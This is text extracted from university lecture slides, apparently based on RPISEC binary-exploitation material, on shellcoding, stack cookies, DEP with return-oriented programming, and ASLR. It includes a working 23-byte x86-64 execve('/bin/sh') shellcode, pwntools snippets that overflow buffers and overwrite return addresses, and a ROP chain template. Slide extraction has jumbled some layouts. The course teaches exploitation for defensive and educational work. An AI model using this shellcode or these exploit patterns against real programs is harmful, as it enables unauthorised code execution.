char user_name[15] = {0};
password jmp 0x5
int user_id = generate_random_id();
char password[15] = {0};
user_id 4 bytes nop
push rbx
fgets(user_name, 15, stdin);
push rsp
fgets(password, 15, stdin);
user_name 15 bytes pop rdi
push 0x3b
pop rax
xor edx,edx
syscall
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 41
Splits (on Wargames)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 42
u64, again
… // at index 0:
data[0]
p.sendline(u64("\x31\xf6\x48\xbb\x2f\x62\x69\x6e"))) data[1]
… // at index 1: data[2]
data[3]
p.sendline(u64("\x2f\x2f\x73\x68\x56\x53\x54\x5f")))
data[4]
… // at index 2: data[5]
p.sendline(u64("\x6a\x3b\x58\x31\xd2\x0f\x05\x00"))) -
-
43
COOKIE’s HERE! (More later)
Return Address
p.sendline(shellcode_addr)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding
Important Points
1. Goal is to inject 23-byte shellcode
a. In challenges, override return address with shellcode address
b. Shell code is on stack!
2. No null bytes in shellcode
3. NOP Slide
4. jmp $+N is important
5. Use u64 and p64!
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 44
Questions
???
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 45
Lecture Selanjutnya
Stack Cookies
RPISEC - 02/20/2019
09/28/2021 Stack
StackCookies
Cookies 1
Outline
• Shellcoding, recap
• Stack cookies
p.send("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x
3b\x58\x31\xd2\x0f\x05")
xor esi,esi
rax: ? rip movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? push 0x3b
syscall pop
xor
rax
edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? rip push rsi
rsi: 0x0 push
push
rbx
rsp
rdx: ? pop rdi
push 0x3b
syscall pop rax
xor edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
rip push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? push 0x3b
0x0
syscall pop
xor
rax
edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
push rbx
rsi: 0x0 rip push rsp
pop rdi
rdx: ? push 0x3b
rsp 0x68732f2f6e69622f
0x0
syscall pop
xor
rax
edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
push rbx
rsi: 0x0 push rsp
0x7ff.. -> ‘/bin/sh’
pop rdi
rdx: ? rip
push 0x3b
0x68732f2f6e69622f
0x0
syscall pop
xor
rax
edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? rip push 0x3b
0x68732f2f6e69622f
0x0
syscall pop
xor
rax
edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
0x3b
pop rdi
rdx: ? push 0x3b
0x68732f2f6e69622f
0x0
syscall rip pop
xor
rax
edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: 0x3b movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? push 0x3b
0x68732f2f6e69622f
0x0
syscall pop rax
rip xor edx,edx
syscall
rbx: 0x6873...2f
xor esi,esi
rax: 0x3b movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: 0x0 push 0x3b
0x68732f2f6e69622f
0x0
syscall pop
xor
rax
edx,edx
rip syscall
rbx: 0x6873...2f
xor esi,esi
rax: 0x3b movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: 0x0 push 0x3b
0x68732f2f6e69622f
0x0
syscall pop
xor
rax
edx,edx
Shell! :D syscall
XXXXXXXXXXXXXXX
constraints? XXXXXXXXXXXXXXX
void (*fp)(); -
} some_struct;
-
int main() { -
some_struct my_str; End of
- my_str.data
unsigned long i,j;
0x00
my_str.fp
my_str.fp = &func;
0x00
gets(my_str.data);
0x00 i,j = 0
...
my_str.fp();
0x7fff01020304 Saved RBP
} Higher Memory 0x... Return Address
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e -
\x2f\x2f\x73\x68\x56\x53\x54\x5f -
-
\x6a\x3b\x58\x31\xd2\x0f\x05"
-
p.sendline(shellcode + 0x00
0x00
‘A’*(80-len(shellcode)) + 0x00
p64(0x7fffffffed10)) 0x7fff01020304
0x...
while (1) { -
-
index = get_number();
value = get_hex64(); - End of data
0x00
data[index] = value; index,
... 0x00 value
}
}
0x7fff01020304 Saved RBP
Higher Memory 0x... Return Address
while (1) {
index = get_unum();
value = get_unum(); End of data
0x00
data[index] = value; index,
... 0x00 value
}
}
0x7fff01020304 Saved RBP
Higher Memory 0x... Return Address
p.sendline(u64("\x31\xf6\x48\xbb\x00\x00\x00\x00")) -
… // at index 1: -
p.sendline(u64("\x2f\x62\x69\x6e\x00\x00\x00\x00")) -
… // at index 2: -
p.sendline(u64("\x2f\x2f\x73\x68\x00\x00\x00\x00")) -
… // at index 3: -
p.sendline(u64("\x56\x53\x54\x5f\x00\x00\x00\x00")) 0x00
… etc. 0x00
0x7fff01020304
0x...
-
p.sendline(3142121009)
-
… // at index 1: -
p.sendline(1651073647) -
… etc. -
0x00
0x00
0x7fff01020304
0x...
A compiler-based mitigation to
prevent (most) stack-based buffer
overflows from being exploitable
-fno-stack-protector (default)
-fstack-protector (to compile with stack cookies)
Stack
Saved RBP
Return Address
Stack
Saved RBP
Return Address
Saved RBP
Return Address
Saved RBP
Return Address
Stack Cookie
Saved RBP
Return Address
No return
data[2]
int main() { data[3]
unsigned long data[4];
char buffer[24]; buffer
buffer
int index = get_number();
printf(..., data[index]); buffer
... -
COOKIE’s HERE!
gets(buffer);
... Saved RBP
}
Return Address
}
buffer
buffer
p.sendline(shellcode + buffer
-
‘A’*(32-len(shellcode)) + COOKIE’s HERE!
Return Address
shellcode_addr)
Stack Cookies & Shellcoding 36
09/28/2021 Stack
Stack
Cookies
Cookies
Leaky Cookies on Wargames
data[1]
“bypass” the cookie? data[2]
-
while (1) {
index = get_number(); -
value = get_uint64();
COOKIE’s HERE!
...
data[index] = value; Saved RBP
… Return Address
}
}
Stack Cookies & Shellcoding 38
09/28/2021 Stack
Stack
Cookies
Cookies
Precise Cookie Attacks
… // at index 0: data[0]
p.sendline(u64("\x31\xf6\x48\xbb\x2f\x62\x69\x6e"))) data[1]
… // at index 1: data[2]
p.sendline(u64("\x2f\x2f\x73\x68\x56\x53\x54\x5f"))) data[3]
… // at index 2: data[4]
p.sendline(u64("\x6a\x3b\x58\x31\xd2\x0f\x05\x00"))) data[5]
… // at index 10:
-
COOKIE’s HERE!
Return Address
09/28/2021
RPISEC - 1/30/2019 MBE -Stack
Reverse Cookies
Engineering 41
Questions
???
RPISEC - 02/20/2019
09/28/2021 Stack
StackCookies
Cookies 42
Lecture Selanjutnya
Data Execution Prevention &
Return Oriented Programming
Slides by RPISEC (modified by Ana Milanova
and Brian Callahan)
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 1
Agenda
1. Recap
2. Data Execution Prevention (DEP)
3. Return Oriented Programming (ROP)
a. ROP Gadgets and ROP Chains
b. Stack Pivoting
c. Better ROP
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 2
Recap
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 3
Runtime Memory
.rodata
• Program Code .data
– .text
– libraries [heap]
libraries
(libc…)
[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 4
Runtime Memory
.rodata
• Program Code .data
– .text
– libraries [heap]
• User Data
– stack
– heap
libraries
(libc…)
[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 5
Overflows 101
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 6
Overflows 101
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 7
Overflows 101
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 8
Overflows 101
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 9
Stack Cookies
Mitigation to prevent (certain) stack-based buffer
overflows from being exploitable
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 10
sys_execve
How can we recreate system("/bin/sh")?
Set registers:
syscall
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 11
execv Shellcode
Smallest shellcode (that we know of) xor esi,esi
movabs
1. set registers rbx,0x68732f2f6e69622f
push rsi
2. perform syscall push rb 23
push rsp bytes
pop rdi
push 0x3b
pop rax
xor edx,edx
syscall
p.send("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x
3b\x58\x31\xd2\x0f\x05")
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 12
Runtime Memory
.rodata
• Program Code .data
– .text
– libraries [heap]
• User Data
– stack
– heap
libraries
(libc…)
\x31\xf6\x4
[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 13
Data Execution Prevention
(DEP)
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 14
It’s 2021...
Let’s say we have full control over the stack…
win function?
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 15
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 16
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?
o u t
g e t
e t ’s ’s
L e 9 0
o f t h
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 17
Modern Era
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 18
DEP/NX/W^X (This is always on unless you’re running on a potato)
No more shellcode!
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 19
Runtime Memory
.rodata
• Program Code (Read and Execute) .data
– .text
– libraries [heap]
• User Data (Read and Write)
– stack
– heap
libraries
(libc…)
[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 20
DEP on Wargames
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 21
Return Oriented Programming
(ROP)
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 22
Return Oriented Programming (ROP)
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 23
Return Oriented Programming (ROP)
• Code reuse
– Can’t use our own code...
– What if we string together existing code to do
what we want, a few instructions at a time…
– These instruction sequences are called gadgets
(or ROP gadgets)
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 25
Return Oriented Programming (ROP)
• Code reuse
– Can’t use our own code...
– What if we string together existing code to do what we want, a few
instructions at a time…
– These instruction sequences are called gadgets
– Small bits of code ending in a return add rax, 0x4
ret
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 26
Return Oriented Programming (ROP)
• Gadgets
– Short instruction sequences ending in a return
pop rbx
pop rdx
– String them together to form ret
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 27
Semantics of ret
Before ret: After ret:
rip at 4004ce rip at 455e55
AAAAAAAA AAAAAAAA
AAAAAAAA AAAAAAAA
AAAAAAAA AAAAAAAA
0x7fffffffabcd 0x7fffffffabcd
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 28
Return Oriented Programming (ROP)
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 29
Return Oriented Programming (ROP)
rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0
0x0
syscall
0x455e55
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 30
Return Oriented Programming (ROP)
rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0
0x0
syscall
0x455e55
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 31
Return Oriented Programming (ROP)
rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0
0x0
syscall
0x455e55
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 32
Return Oriented Programming (ROP)
0x0
syscall
0x455e55
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 33
Return Oriented Programming (ROP)
0x0
syscall
0x455e55
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 34
Return Oriented Programming (ROP)
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 35
Return Oriented Programming (ROP)
syscall
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 36
Return Oriented Programming (ROP)
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 37
ROP on Wargames
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 38
Stack Pivoting
• What if we don’t control enough space past
return address slot (where rsp points to) to
place the ropchain
– E.g., sometimes, you control a single slot past the
return address
– Sometimes, you control only the return address
slot!
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 39
Stack Pivoting
• E.g., we have control over 4 slots
– We need more slots to get a shell!
- Data
- ROP Gadget 2
- Data
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 40
Stack Pivoting
• Fortunately, we have (lots of)
space controlled by us Lot of user controlled
space!
Data
Non controlled by us
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 41
Stack Pivoting
• We need more than 4 slots
• We can put rest of ropchain Lot of user controlled
space!
in space controlled by us
ROP Gadget 1
Data
Non controlled by us
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 42
Stack Pivoting
• We need more than 4 slots
• We can put rest of ropchain Now RSP is here and we
have more space to ROP
in space controlled by us
ROP Gadget 1
Data
Non Controlled by us
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 43
Stack Pivoting
• Now we are living the life
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 44
Stack Pivoting on Wargames
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 45
rsp
Another Pivot AAAAAAAA
AAAAAAAA
0x0
AAAAAAAA
• Semantics of leave rbp old_rbp: 0x7fffffff….
0x400405
BBBBBBBB
BBBBBBBB
BBBBBBBB
BBBBBBBB
BBBBBBBB
0x7fffffff...
0x455e55
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 46
Another Way to Pivot
• Leave gadget: leave ; ret
• Semantics of leave
– rsp rbp + 0x8 rsp
0x400405
– rbp old_rbp
BBBBBBBB
• Bottom line: If we can set
BBBBBBBB
rbp to the right address, BBBBBBBB
rbp 0x7fffffff...
address
0x455e55
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 47
Runtime Memory
.rodata
• LIBC: .data
– Has functions like system, etc.
– Has ROP gadgets [heap]
– Why can’t we just call them?
• Calling conventions:
– 1st arg: rdi
libraries
– 2nd arg: rsi (libc…)
– 3rd arg: rdx
[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 48
Better ROP
• What if the gadgets in statically linked binary
aren’t good enough (e.g. no syscall)
• For normal dynamically linked binaries, the C
standard library (libc) must be in memory
– use libc functions, like system()
∘ “print system” in the debugger finds the
address of system in libc
– use libc gadgets
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 49
Better ROP on Wargames
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 50
For Now NO ASLR
• All function are mapped to the same address
• We will talk about this ALSR thing next week
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 51
Questions
???
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 52
Lecture Selanjutnya
Announcement
James Gao has joined MBE as mentor
RPISEC - 02/27/2019
10/12/2021 ASLR 1
Address Space Layout
Randomization (ASLR)
It must be unexploitable. Confirmed
unsolvable.
RPISEC - 02/27/2019
10/12/2021 ASLR 2
Outline
1. Recap
2. ASLR (Cake)
3. ASLR (PIE)
4. Getting around ASLR
a. Partial overwrite
b. Information leaks
RPISEC - 02/27/2019
10/12/2021 ASLR 3
Recap
RPISEC - 02/27/2019
10/12/2021 ASLR 4
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?
o u t
g e t
e t ’s ’s
L e 9 0
o f t h
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 5
DEP/NX/W^X (This is always on unless you’re running on a potato)
No more shellcode!
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 6
Runtime Memory
.rodata
• Program Code (Read and Execute) .data
– .text
– libraries [heap]
• User Data (Read and Write)
– stack
– heap
libraries
(libc…)
[stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 7
Return Oriented Programming (ROP)
• Code reuse
– Can’t use our own code...
– What if we string together existing code to do what
we want, a few instructions at a time
– These are called gadgets add rax, 0x4
ret
– Small bits of code ending in a ret
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 8
Return Oriented Programming (ROP)
rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0
0x0
syscall
0x455e55
syscall
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 9
Return Oriented Programming (ROP)
rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0
0x0
syscall
0x455e55
syscall
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 10
Return Oriented Programming (ROP)
rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0
0x0
syscall
0x455e55
syscall
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 11
Return Oriented Programming (ROP)
0x0
syscall
0x455e55
syscall
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 12
Return Oriented Programming (ROP)
0x0
syscall
0x455e55
syscall
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 13
Return Oriented Programming (ROP)
syscall
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 14
Return Oriented Programming (ROP)
syscall
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 15
Return Oriented Programming (ROP)
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 16
Stack Pivoting
• We need more than 4 gadget spaces Now RSP is here and we
have more space to ROP
• We can put more in another space
• Use last gadget to pop rsp ; ret
pop rsp
Non Controlled by us
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 17
Stack Pivot
• Now we are living the life
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 18
Better ROP
• What if the gadgets in .text aren’t good
enough (e.g. no syscall)
RPISEC - 2/27/2019
10/12/2021 ASMR
ASLR 19
ASLR
RPISEC - 02/27/2019
10/12/2021 ASLR 20
So Far… RUN #1
Started 'lab5C'
Breakpoint Hit: 0x400a08
wdb> info proc mappings
0x400000-0x402000 r-x lab5C [exe]
0x601000-0x602000 r-- lab5C [exe]
0x602000-0x603000 rw- lab5C [exe]
0x7f0000000000-0x7f0000228000 r-- ld-linux-x86-64.so.2
[interp]
0x7f0000228000-0x7f00003e8000 r-x libc.so.6
0x7f00003e8000-0x7f00005e8000 --- libc.so.6
0x7f00005e8000-0x7f00005ec000 r-- libc.so.6
0x7f00005ec000-0x7f00005ee000 rw- libc.so.6
0x7f00005ee000-0x7f00005f2000 rw-
0x7f00005f2000-0x7f00005f3000 rw-
0x7f00005f3000-0x7f00005f4000 rw-
0x7ffffffde000-0x7ffffffff000 rwx [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 21
So Far… RUN #2
Started 'lab5C'
Breakpoint Hit: 0x400a08
wdb> info proc mappings
0x400000-0x402000 r-x lab5C [exe]
0x601000-0x602000 r-- lab5C [exe]
0x602000-0x603000 rw- lab5C [exe]
0x7f0000000000-0x7f0000228000 r-- ld-linux-x86-64.so.2
[interp]
0x7f0000228000-0x7f00003e8000 r-x libc.so.6
0x7f00003e8000-0x7f00005e8000 --- libc.so.6
0x7f00005e8000-0x7f00005ec000 r-- libc.so.6
0x7f00005ec000-0x7f00005ee000 rw- libc.so.6
0x7f00005ee000-0x7f00005f2000 rw-
0x7f00005f2000-0x7f00005f3000 rw-
0x7f00005f3000-0x7f00005f4000 rw-
0x7ffffffde000-0x7ffffffff000 rwx [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 22
So Far… RUN #3
Started 'lab5C'
Breakpoint Hit: 0x400a08
wdb> info proc mappings
0x400000-0x402000 r-x lab5C [exe]
0x601000-0x602000 r-- lab5C [exe]
0x602000-0x603000 rw- lab5C [exe]
0x7f0000000000-0x7f0000228000 r-- ld-linux-x86-64.so.2
[interp]
0x7f0000228000-0x7f00003e8000 r-x libc.so.6
0x7f00003e8000-0x7f00005e8000 --- libc.so.6
0x7f00005e8000-0x7f00005ec000 r-- libc.so.6
0x7f00005ec000-0x7f00005ee000 rw- libc.so.6
0x7f00005ee000-0x7f00005f2000 rw-
0x7f00005f2000-0x7f00005f3000 rw-
0x7f00005f3000-0x7f00005f4000 rw-
0x7ffffffde000-0x7ffffffff000 rwx [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 23
So Far… No ASLR
• All the addresses are in the same place!
• So we could get the libc base address in the
debugger and hardcode it into our exploit and
rop gadgets
• E.g. code:
base_addr = 0x7f0000228000
pop_rax_addr = base_addr + 0x33544
RPISEC - 02/27/2019
10/12/2021 ASLR 24
So Far… No ASLR
• E.g. code:
base_addr = 0x7f0000228000
binsh_addr = 0x7f...
pop_rax_addr = base_addr + 0x33544
pop_rdi_addr = base_addr + 0x…
…
p.sendline(...+p64(pop_rax_addr)+p64(0x3b)+
p64(pop_rdi_addr)+p64(binsh_addr)+...
RPISEC - 02/27/2019
10/12/2021 ASLR 25
So Far... No ASLR
• Life can’t be that easy...
RPISEC - 02/27/2019
10/12/2021 ASLR 26
ASLR
Address-Space-Layout-
Randomization
RPISEC - 02/27/2019
10/12/2021 ASLR 27
ASLR
• A runtime mitigation that ensures that
address ranges for important memory
segments are random for each execution
• This means gadgets are in different places!
RPISEC - 02/27/2019
10/12/2021 ASLR 28
ASLR Cake
• ASLR is enabled on the system
• First level of ASLR is sometimes referred to as
cake:
– system-wide Address Space Layout Randomization
(ASLR) enabled means the stack, heap, and libraries
will be placed in different memory locations every
time we run the binary
– binary itself (e.g., .text) does not take advantage of
such mitigations, it will remain in a fixed location
RPISEC
10/12/2021
across launches
- 02/27/2019 ASLR 29
Run #1
Started 'cake'
Breakpoint 1: 0x40163d, main+0
wdb> info proc mappings
0x400000-0x403000 r-x cake [exe]
0x602000-0x603000 r-- cake [exe]
0x603000-0x604000 rw- cake [exe]
0x7f724950d000-0x7f7249735000 r-- ld-linux-x86-64.so.2
[interp]
0x7f7249735000-0x7f72498f5000 r-x libc.so.6
0x7f72498f5000-0x7f7249af5000 --- libc.so.6
0x7f7249af5000-0x7f7249af9000 r-- libc.so.6
0x7f7249af9000-0x7f7249afb000 rw- libc.so.6
0x7f7249afb000-0x7f7249aff000 rw-
0x7f7249aff000-0x7f7249b00000 rw-
0x7f7249b00000-0x7f7249b01000 rw-
0x7ffe54a72000-0x7ffe54a93000 rw- [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 30
Run #2
Started 'cake'
Breakpoint 1: 0x40163d, main+0
wdb> info proc mappings
0x400000-0x403000 r-x cake [exe]
0x602000-0x603000 r-- cake [exe]
0x603000-0x604000 rw- cake [exe]
0x7f64e8d2c000-0x7f64e8f54000 r-- ld-linux-x86-64.so.2
[interp]
0x7f64e8f54000-0x7f64e9114000 r-x libc.so.6
0x7f64e9114000-0x7f64e9314000 --- libc.so.6
0x7f64e9314000-0x7f64e9318000 r-- libc.so.6
0x7f64e9318000-0x7f64e931a000 rw- libc.so.6
0x7f64e931a000-0x7f64e931e000 rw-
0x7f64e931e000-0x7f64e931f000 rw-
0x7f64e931f000-0x7f64e9320000 rw-
0x7fff1300a000-0x7fff1302b000 rw- [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 31
Run #3
Started 'cake'
Breakpoint 1: 0x40163d, main+0
wdb> info proc mappings
0x400000-0x403000 r-x cake [exe]
0x602000-0x603000 r-- cake [exe]
0x603000-0x604000 rw- cake [exe]
0x7f604e6cf000-0x7f604e8f7000 r-- ld-linux-x86-64.so.2
[interp]
0x7f604e8f7000-0x7f604eab7000 r-x libc.so.6
0x7f604eab7000-0x7f604ecb7000 --- libc.so.6
0x7f604ecb7000-0x7f604ecbb000 r-- libc.so.6
0x7f604ecbb000-0x7f604ecbd000 rw- libc.so.6
0x7f604ecbd000-0x7f604ecc1000 rw-
0x7f604ecc1000-0x7f604ecc2000 rw-
0x7f604ecc2000-0x7f604ecc3000 rw-
0x7ffd43bd7000-0x7ffd43bf8000 rw- [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 32
Cake on Wargames
RPISEC - 02/27/2019
10/12/2021 ASLR 33
PIE
RPISEC - 02/27/2019
10/12/2021 ASLR 34
ASLR PIE
• Position Independent Executable
• An executable compiled such that its base
address can be relocated
• Enabled with `-pie -fPIE` option
RPISEC - 02/27/2019
10/12/2021 ASLR 35
PIE heads up (Breakpoints)
● Without PIE we can do this
○ b * 0x4006b0
○ Sets a breakpoint at 0x4006b0
● With PIE
○ b main+44
○ Sets a breakpoint at main+44
○ Re-applies properly with relocation of base address
RPISEC - 02/27/2019
10/12/2021 ASLR 36
Run #1
Started 'pie'
Breakpoint 0: 0x5586d8fbe9d3, main
wdb> info proc mappings
0x5586d8fbd000-0x5586d91c1000 r-x pie [exe]
0x7f3183a69000-0x7f3183c91000 r-- ld-linux-x86-64.so.2
[interp]
0x7f3183c91000-0x7f3183e51000 r-x libc.so.6
0x7f3183e51000-0x7f3184051000 --- libc.so.6
0x7f3184051000-0x7f3184055000 r-- libc.so.6
0x7f3184055000-0x7f3184057000 rw- libc.so.6
0x7f3184057000-0x7f318405b000 rw-
0x7f318405b000-0x7f318405c000 rw-
0x7f318405c000-0x7f318405d000 rw-
0x7ffdf28a1000-0x7ffdf28c2000 rw- [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 37
Run #2
Started 'pie'
Breakpoint 0: 0x55a3192f29d3, main
wdb> info proc mappings
0x55a3192f1000-0x55a3194f5000 r-x pie [exe]
0x7f4dc3d9d000-0x7f4dc3fc5000 r-- ld-linux-x86-64.so.2
[interp]
0x7f4dc3fc5000-0x7f4dc4185000 r-x libc.so.6
0x7f4dc4185000-0x7f4dc4385000 --- libc.so.6
0x7f4dc4385000-0x7f4dc4389000 r-- libc.so.6
0x7f4dc4389000-0x7f4dc438b000 rw- libc.so.6
0x7f4dc438b000-0x7f4dc438f000 rw-
0x7f4dc438f000-0x7f4dc4390000 rw-
0x7f4dc4390000-0x7f4dc4391000 rw-
0x7fff4237f000-0x7fff423a0000 rw- [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 38
Run #3
Started 'pie'
Breakpoint 0: 0x55b45e72a9d3, main
wdb> info proc mappings
0x55b45e729000-0x55b45e92d000 r-x pie [exe]
0x7f5f091d5000-0x7f5f093fd000 r-- ld-linux-x86-64.so.2
[interp]
0x7f5f093fd000-0x7f5f095bd000 r-x libc.so.6
0x7f5f095bd000-0x7f5f097bd000 --- libc.so.6
0x7f5f097bd000-0x7f5f097c1000 r-- libc.so.6
0x7f5f097c1000-0x7f5f097c3000 rw- libc.so.6
0x7f5f097c3000-0x7f5f097c7000 rw-
0x7f5f097c7000-0x7f5f097c8000 rw-
0x7f5f097c8000-0x7f5f097c9000 rw-
0x7ffe1117a000-0x7ffe1119b000 rw- [stack]
RPISEC - 02/27/2019
10/12/2021 ASLR 39
Pie on Wargames
RPISEC - 02/27/2019
10/12/2021 ASLR 40
We got RIP what do
B LE
LVA
• We have RIP in a program, but all addresses
are random so where do we go?
N S O
U
RPISEC - 02/27/2019
10/12/2021 ASLR 41
But do they got us?
• There are ways around PIE and ASLR
• We can still exploit
• Protections make exploitation harder, but
they are never perfect (for now)
